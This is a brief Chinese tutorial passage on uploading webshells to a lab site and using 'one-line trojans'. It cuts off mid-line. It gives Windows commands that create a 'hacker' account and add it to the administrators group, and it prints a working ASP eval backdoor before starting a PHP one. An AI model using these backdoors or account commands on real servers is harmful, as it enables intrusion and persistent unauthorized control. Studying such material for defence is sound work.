webshell上传和一句话木马
webshell是利用ASP或PHP等脚本语言编写的web的木马后门。通过WebShell可以控制Web站点,包括上传下载文件、查看数据库、执行系统命令等。
上传漏洞的利用目的:将webshell上传到目标服务器中。
用一些写好的大马文件上传到web服务其中,我们用小旋风AspWeb搭建南方数据5.0,上传文件就直接把大马文件放到网站根目录下了,然后我们访问:
里面可以直接访问服务器电脑,提权功能很强大
net user hacker 123 /add 创建用户
net localgroup adminstrators hacker /add 提权
一句话木马是一小段的ASP或者PHP代码,相当于小型的webshell。可以将一句话木马保存成单独的网页文件,也可以将代码插入到网站的某个asp或php网页文件中。后面通过菜刀这种软件来远程连接,一样可以对服务器操作:
ASP:
<%eval request("password")%>
PHP:
<?php @eva